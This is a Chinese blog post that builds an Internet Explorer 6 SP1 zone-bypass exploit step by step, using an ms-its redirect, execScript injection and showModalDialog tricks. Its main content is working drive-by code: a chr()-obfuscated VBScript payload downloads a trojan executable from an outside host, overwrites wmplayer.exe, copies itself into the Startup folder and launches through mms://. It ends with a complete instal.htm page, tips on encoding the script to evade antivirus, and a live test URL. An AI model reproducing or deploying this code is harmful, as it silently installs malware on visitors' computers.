最近大半年IE一连出了好几个漏洞,其中最严重也是现在网页木马利用最多
的一个当属IE Object Data的漏洞了.可这已经是去年8月份就公布的.只要打了
Q822925就能补上了,所以我一直在找一个能对付Q822925的新洞洞并好好分析一下.

终于机会来了,几天前我去绿盟(nsfocus.com)看贴子,注意到IE又出了个新洞
洞,文章标题是Microsoft Internet Explorer Modal Dialog区域绕过漏洞,绿盟对这个
洞洞的描述大意是:Microsoft Internet Explorer存在漏洞允许跨区域访问,远程攻击
者可以利用这个漏洞在本地电脑区域中执行恶意脚本。攻击者可以构建传递一个动态建立的
IFrame给Modal Dialog对象,并且这个对象调用通过Windows Script Encoder (screnc.exe)
编码,诱使用户打开时,可造成以客户权限在本地域上下文执行恶意脚本,包括下载安装恶意程序。
这个漏洞也可导致访问外部域属性,允许其他类型的攻击如获得攻击者选择的敏感或私有信息。
    看来这的确是一个大洞洞哦,还好没有多少人注意到这个洞洞,而文章中又给出了一篇老
外写的分析名字叫:对Ilookup木马的分析(An analysis of the Ilookup Trojan)(http://62.131.86.111/analysis.htm)
代码都在这儿了还不分析做什么呢?本来以为分析会比较简单的因为代码都是现成的,但具体
分析后才发现不少问题.所以下面的分析基于我自已的代码.

测试系统:win2000 pro sp4+ie6 sp1+Q822925



下面我就根据漏洞的利用思路一步步介绍:
第一步:
在网页中产生一个IFRAME并且内容为本地文件看到这句可能大家会想到:
<IFRAME ID=myiframe NAME=myiframe SRC="ms-its:C:\WINnt\Help\iexplore.chm::/iegetsrt.htm" WIDTH=200 HEIGHT=200></IFRAME>
把如下代码存在iframe.htm中在本地浏览显示如下:(图iframe1.bmp)
这说明本地html文件可以通过IFRAME仿问本地的其它文件因为他们都属于"本地电脑区域".

把这个iframe.htm存放在服务器上试试:(图iframe2.bmp)
这说明网页文件通过IFRAME不能仿问本地的文件因为他们一个属于"本地电脑区域"一个是"internet区域",而IE的安全设置为
不能对不同区域的文件进行仿问.

怎么办呢这儿有一个最新的跨域仿问洞洞:老外的代码如下:
<IFRAME ID=myiframe NAME=myiframe SRC="redir.php" WIDTH=200 HEIGHT=200></IFRAME>
下面是redir.php的代码
<% Thread.sleep(1500);
   response.setStatus(302);
   response.setHeader("Location", "URL:ms-its:C:\\WINNT\\Help\\iexplore.chm::/iegetsrt.htm");
%>

看看老外是如何发现这个洞洞的:
2002年9月有个老外发现了一个洞洞通过
response.setHeader("Location", "ms-its:C:\\WINNT\\Help\\iexplore.chm::/iegetsrt.htm");
这样的代码就可以在网页中仿问本地资源了,但是IE6SP1补上了这个洞洞.不过在ms-its:前面加上个URL标识就又可以仿问了.

我把代码改成ASP的如下:
----------------re.asp------------
<%
TimeIt(4)
Response.Status = "302"
Response.AddHeader "Location","URL:ms-its:C:\WINNT\Help\iexplore.chm::/iegetsrt.htm"

Function TimeIt(N)
   StartTime = Timer
do while endtime-starttime<n
   EndTime = Timer
loop
End Function

%>
-------------------end-------------

其中Response.Status是设置服务器要响应的状态行的值。Response.status="状态描述字符串",
字符串可以为一个三位整数或一串说明文字组成,但必须防在<html>之前。这儿只能是302

Response.AddHeader是设置HTTP的头字段.

重新写一个叫iframe2.htm的文件内容如下:
<IFRAME ID=myiframe NAME=myiframe SRC="http://192.168.0.18/re.asp" WIDTH=200 HEIGHT=200></IFRAME>
执行后如图iframe3.bmp怎么样现在我们就跳过了IE6SP1的安全限制.成功的在internet区域的文件中加入了一个
"我的电脑区域"的文件.

第二步:
众所周之我的电脑区域中的网页代码的安全限定要小得多,现在我们要做的就是如何把我们的代码"注入"到我的电脑区域中
并且执行它们.这儿老外利用了第二个洞洞就是标题中的showModalDialog方法远程文件下载执行漏洞.

先来看看下面的代码:(代码较为复杂请细细阅读)

-------------------------show.htm-------------
<script language="Javascript">

    function InjectedDuringRedirection(){
    var bbb="i am czy";
    aaa= {h : bbb};
      showModalDialog('modold.htm',aaa,"dialogTop:500\;dialogLeft:200\;dialogHeight:1\;dialogWidth:1\;")
    }
    
</script>


<script language="javascript">
    
    setTimeout("myiframe.execScript(InjectedDuringRedirection.toString())",100);  //生成函数代码toStirng()得到代码
    setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",110);        //调用函数
    document.write('<IFRAME ID=myiframe NAME=myiframe SRC="http://192.168.0.18/re.asp" WIDTH=200 HEIGHT=200></IFRAME>');
    
</script>

-------------------------end------------------

---------------------mdold.htm-----------------
<script>document.write(window.dialogArguments.h);</script>
---------------------end-----------------------


注意包含本地电脑区域文件的IFRAME叫myiframe.
首先网页利用document.write 成生这个IFrame,然后调用setTimeout隔0.1秒在myiframe中执行execScript方法.

这儿要注意的是如果我们把show.htm和modold.htm放在本地执行将出现两处提示说拒绝仿问.不过我们把setTimeout
的值改大点就行了.但是这样在网站上又将出现"拒绝仿问"的提示.所以后面我所有的测试均在网站上测试本地不再考虑了.
另外还要说明的是:re.asp刚开始执行的时候必须有一个延时,否则仍然会提示"拒绝仿问"!!!
----------------begin--------
TimeIt(4)          '调用自定义函数延时4秒

Function TimeIt(N)
   StartTime = Timer          '得到函数开始执行时的时间
do while endtime-starttime<n  '当现在的时间减函数开始执行时的时间大于n(也就是要延时的时间)时结束
   EndTime = Timer
loop
End Function
-----------------end---------

刚才说到在myiframe中调用execScript第一次调用时参数是InjectedDuringRedirection.toString()等于是在iegetsrt.htm中生成
如下代码:
function InjectedDuringRedirection(){
    var bbb="i am czy";
    aaa= {h : bbb};
      showModalDialog('modold.htm',aaa,"dialogTop:500\;dialogLeft:200\;dialogHeight:1\;dialogWidth:1\;")
    }
    
    第二次调用参数为InjectedDuringRedirection()就等于调用了刚才生成的代码.
(toString的具体介绍请参见MSDN)

把上面的代码放在网站中测试.我们会看到一个模态网页框弹了出来.图mod1.bmp
这儿好象能说明我们的代码在本地文件iegetsrt.htm中注入成功.不过注意模态网页的状态栏显示的区域仍然是internet失望了吧.
看来IE的洞洞还不是那么好找的.到底是怎么回事呢?我是这样猜想的?
   先生成了myiframe它的src是由re.asp生成的而且故意延时了4秒.然后在src中的本地文件还没有加载的时候代码被注入到了其中.
这时IE将做安全检查因为src还没有被加载所以myiframe的属性还是internet区域,当然我们的代码肯定就能被注入.这也就能解释
为什么把setTimeout设为5秒后为什么会提示"拒绝仿问"了.
   所以到现在为止我们在modold.htm中的代码的执行权限还是在"internet区域"中,我们还没有突破ie的执行限制.换句话说就是
我们试图在modold.htm中加载一些恶意代码是没有用的.但为什么老外最后解决了这个问题呢?慢慢看吧,it's a very acumen code.    


先来看看showModalDialog方法的的第二个参数.MSDN中说明如下:
使用这个参数可以传输任何格式的值给对话框,对话框通过window.dialogArguments可以得到传过来的值

老外传了一个window过去.这个window也就是myiframe

showModalDialog('md.htm',window,"resizab.......................).location=".............."

新的模态对话框代码如下:


-------------------md.htm--------------------
<SCRIPT language="javascript">
    window.returnValue = window.dialogArguments;
    
    function CheckStatus(){
      try{tempVar=window.dialogArguments.location.href;}catch(e){window.close();}
      setTimeout("CheckStatus()",100);
    }
    
    CheckStatus();
    
</SCRIPT>
---------------------end---------------------

再来看看模态对话框的一个专有属性window.returnValue MSDN中说明如下:
当模态对话框关闭的时候通过设置returnValue这样打开这个模态对话框的主窗口得
就能得到返回的值.下面我举个简单的例子:
---------------------fa.htm----------------
<script>
b();
function a()
{
var str;
str=showModalDialog('abc.htm',window,"dialogHeight:300px; dialogLeft:200px;")
document.write (str);
}

function b(){
setTimeout("window.execScript('a();a.toString()');",100);
}

</script>
-----------------------end------------------------

-----------------------abc.htm-------------------
<script>
c();
function c()
{
window.returnValue ="i am return";
document.write(window.dialogArguments.location);
}
</script>
-----------------------end-----------------------

执行fa.htm后打开abc.htm,关闭abc.htm后在fa.htm中将打出"i am return"
现在就好理解些了.再来看老外的代码吧:

window.returnValue = window.dialogArguments;
把showmodaldialog的返回值也设为window,同时在设置location为一个新的值.
或许说
    showModalDialog('md.htm',window,"resizab.......................).location=".............."
    也可以改成:
   showModalDialog('md.htm',window,"resizab.......................)
   然后md.htm中的returnvalue改为下面的代码:
   window.returnValue = window.dialogArguments.location="................";
   
还有一个问题就是对话框什么时候关闭呢?老外代码如下:
  function CheckStatus(){
      try{tempVar=window.dialogArguments.location.href;}catch(e){window.close();}
      setTimeout("CheckStatus()",100);
    }
    CheckStatus();
    
每隔0.1秒检查一下myiframe的location.href的值,当本地文件加载成功后myiframe的域将改变这时将发生一个
安全异常,这时就会执行到catch里的代码window.close
好了当模态对话框架关闭后myiframe的安全属性也就是"我的电脑区域"!由于我们的返回值是改变这个myiframe
的location属性那么这儿就可以注入我们的代码啦.
为什么?其实改变myiframe的location属性也就等于在IE的地址栏输入代码一样比如说我们可以在IE的地址栏
输入javascript:'<b>i am czy</b>'

聪明的你可能想到了现在myiframe的安全属性是"我的电脑区域"那么在里面执行代码应该也就能突破IE的安全限制了
真的能行吗?我试了不行哈.为什么不行呢?我想可能是因为IE对在location里面执行的代码做了专门的限制,但是我们可以
先通过location里面的脚本语句再注入一个iframe到myiframe中间去,然后再注入恶意代码.
为什么通过location可以注入代码到myiframe中去呢?因为locatoin是myiframe中的一个属性嘛.
location中的语句如何写呢?代码如下:
location="javascript:'<script>document.write(\"<script language=vbs>document.write chr(60)+chr(73)+chr(70)+chr(82)+chr(65)+chr(77)+chr(69)+chr(32)+chr(73)+chr(68)+chr(61)+chr(109)+chr(121)+chr(105)+chr(102)+chr(114)+chr(97)+chr(109)+chr(101)+chr(32)+chr(83)+chr(82)+chr(67)+chr(61)+chr(39)+chr(97)+chr(98)+chr(111)+chr(117)+chr(116)+chr(58)+chr(98)+chr(108)+chr(97)+chr(110)+chr(107)+chr(39)+chr(32)+chr(87)+chr(73)+chr(68)+chr(84)+chr(72)+chr(61)+chr(52)+chr(48)+chr(32)+chr(72)+chr(69)+chr(73)+chr(71)+chr(72)+chr(84)+chr(61)+chr(52)+chr(48)+chr(62)+chr(60)+chr(47)+chr(73)+chr(70)+chr(82)+chr(65)+chr(77)+chr(69)+chr(62):myiframe.document.write "+p+"<\\\\\/script>\");<\/script>'";

这儿要注意的是myiframe中的iframe我用了同样的名字,其实名字不一样也行!

    
第三步:在新的myiframe中的该写入什么代码呢?    
set x = createObject("Microsoft.XMLHTTP")
x.Open "GET", "http://192.168.0.18/WINVER.exe",0
x.Send
set s = createObject("ADODB.Stream")
s.Mode = 3
s.Type = 1
s.Open
s.Write x.responseBody
p="C:\Program Files\Windows Media Player\wmplayer.exe"
s.SaveToFile p,2
p=replace (p,"wm","m")
p=replace (p,"er.","er2.")
s.SaveToFile p,2
s.SaveToFile "C:\Documents and Settings\Default User\「开始」菜单\程序\启动\wmplayer.exe",2
location.href = "mms://"

分析:先利用xmlhttp对象下载我们的木马,然后利用adodb.stream以覆盖方式写wmplayer.exe然后
改变location.href的值为mms这样就会调用我们的wmplayer.exe(mp9.0)或是mplayer2.exe(mp6.0)
或是写入启动菜单下次启动的时候执行.

由于单又引号的转化我使用了

-----------------------------chg.htm-----------------
<script language=vbs>

'str="<IFRAME ID=myiframe SRC='about:blank' WIDTH=40 HEIGHT=40></IFRAME>"


'str="http://127.0.0.1/W.e"
'str="C:\Program Files\Windows Media Player\wmplayer.exe"
str="http://www.chinansl.com/czy/w.e"
for i=1 to len(str)
document.write "chr("+cstr(asc(mid(str,i,1)))+")+"
next
</script>

--------------------------------end----------------------


完整代码如下:
-----------------------------------------instal.htm--------------------
<html>
<body>
<script language=vbs>
window.open "mdd.htm","_blank","top:0;left:0;height=100pix;width=100pix"

</script>
<script language="Javascript">

    function InjectedDuringRedirection(){
    var p="\\\\\"<script language=vbs>set x = createObject(chr(77)+chr(105)+chr(99)+chr(114)+chr(111)+chr(115)+chr(111)+chr(102)+chr(116)+chr(46)+chr(88)+chr(77)+chr(76)+chr(72)+chr(84)+chr(84)+chr(80)):x.Open chr(71)+chr(101)+chr(116),chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(119)+chr(119)+chr(119)+chr(46)+chr(99)+chr(104)+chr(105)+chr(110)+chr(97)+chr(110)+chr(115)+chr(108)+chr(46)+chr(99)+chr(111)+chr(109)+chr(47)+chr(99)+chr(122)+chr(121)+chr(47)+chr(119)+chr(46)+chr(101),0:x.Send:set s=createobject(chr(97)+chr(100)+chr(111)+chr(100)+chr(98)+chr(46)+chr(115)+chr(116)+chr(114)+chr(101)+chr(97)+chr(109)):with s:.mode=3:.type=1:.open:.write x.responseBody:.savetofile chr(67)+chr(58)+chr(92)+chr(80)+chr(114)+chr(111)+chr(103)+chr(114)+chr(97)+chr(109)+chr(32)+chr(70)+chr(105)+chr(108)+chr(101)+chr(115)+chr(92)+chr(87)+chr(105)+chr(110)+chr(100)+chr(111)+chr(119)+chr(115)+chr(32)+chr(77)+chr(101)+chr(100)+chr(105)+chr(97)+chr(32)+chr(80)+chr(108)+chr(97)+chr(121)+chr(101)+chr(114)+chr(92)+chr(119)+chr(109)+chr(112)+chr(108)+chr(97)+chr(121)+chr(101)+chr(114)+chr(46)+chr(101)+chr(120)+chr(101),2:end with:location.href =chr(109)+chr(109)+chr(115)+chr(58)+chr(47)+chr(47)\\\\\""+"+chr(60)+chr(47)+chr(115)+chr(99)+chr(114)+chr(105)+chr(112)+chr(116)+chr(62)";
      showModalDialog('md.htm',window,"resizable:no\;dialogHide:on\;status:no\;help:no\;dialogTop:500\;dialogLeft:200\;dialogHeight:1\;dialogWidth:1\;").location="javascript:'<script>document.write(\"<script language=vbs>document.write chr(60)+chr(73)+chr(70)+chr(82)+chr(65)+chr(77)+chr(69)+chr(32)+chr(73)+chr(68)+chr(61)+chr(109)+chr(121)+chr(105)+chr(102)+chr(114)+chr(97)+chr(109)+chr(101)+chr(32)+chr(83)+chr(82)+chr(67)+chr(61)+chr(39)+chr(97)+chr(98)+chr(111)+chr(117)+chr(116)+chr(58)+chr(98)+chr(108)+chr(97)+chr(110)+chr(107)+chr(39)+chr(32)+chr(87)+chr(73)+chr(68)+chr(84)+chr(72)+chr(61)+chr(52)+chr(48)+chr(32)+chr(72)+chr(69)+chr(73)+chr(71)+chr(72)+chr(84)+chr(61)+chr(52)+chr(48)+chr(62)+chr(60)+chr(47)+chr(73)+chr(70)+chr(82)+chr(65)+chr(77)+chr(69)+chr(62):myiframe.document.write "+p+"<\\\\\/script>\");<\/script>'";
    }
    
</script>

<script language="javascript">
    
    setTimeout("myiframe.execScript(InjectedDuringRedirection.toString())",100);  //生成函数代码toStirng()得到代码
    setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",101);        //调用函数
    
document.write('<IFRAME ID=myiframe NAME=myiframe SRC="http://www.chinansl.com/czy/re.asp" WIDTH=0 HEIGHT=0></IFRAME>');
    
</script>

</body>
<pre>
              #--------------------#      #
            #    IE6sp1 new bug      #  #
          #        2004.06.10         #
            #        by czy         #  #
             #--------------------#     #
</pre>
</html>
----------------------------------end-----------------------------


第四步:遇到的一些问题:
1)如何找一个本地肯定存在的帮助文件:
C:\WINDOWS\Help\iexplore.chm::/iegetsrt.htm
这是XP中,2000中为
C:\WINNT\Help\iexplore.chm::/iegetsrt.htm
2)木马可以放在什么地方呢?
如果不用马上执行的话也可以试试启动目录啊.
3)洞洞对98有用吗?98中没有adodb.stram对象所以没有用.
4)加密?
是啊现在杀毒的东东越来越多,可以使用wse对脚本加一下密.
5)要执行程序只能调用mms吗?
通过location.href的办法来执行程序真是一个巧妙的办法啊,不过老外
最早是通过覆盖wmplayer.exe然后location.href设为mms://来调用的
这儿有一个问题是如果系统中装了其它的插放软件或是media player装的
版本不一样的话可能失败,所以我想到了覆盖programe files下的msimn.exe然后
location.href设为news,当然还有一些其它的变通办法.

测试地址:www.chinansl.com/czy/instal.htm
posted on 2007-10-27 21:11  许维光  阅读(437)  评论(0)    收藏  举报